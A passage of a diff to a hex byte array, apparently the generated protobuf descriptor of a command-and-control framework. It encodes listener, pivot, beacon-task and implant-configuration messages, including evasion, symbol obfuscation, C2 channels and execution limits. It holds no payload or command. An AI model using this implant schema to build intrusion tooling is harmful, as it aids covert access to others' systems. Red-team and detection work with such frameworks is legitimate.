0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, - 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, - 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, - 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, - 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, - 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, - 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, - 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, - 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, - 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, - 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, - 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, - 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, - 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, - 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, - 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, - 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, - 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, - 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, - 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, - 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, + 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, + 0x69, 0x6e, 0x65, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, + 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, + 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, + 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, + 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, + 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, + 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, + 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, + 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, + 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, + 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, + 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, + 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, + 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, + 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, + 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, + 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, + 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, + 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, + 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, + 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, + 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, + 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, + 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, + 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, + 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, + 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, + 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, + 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, + 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, + 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, + 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, + 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, + 0x67, 0x20, 0x01, 0x28, 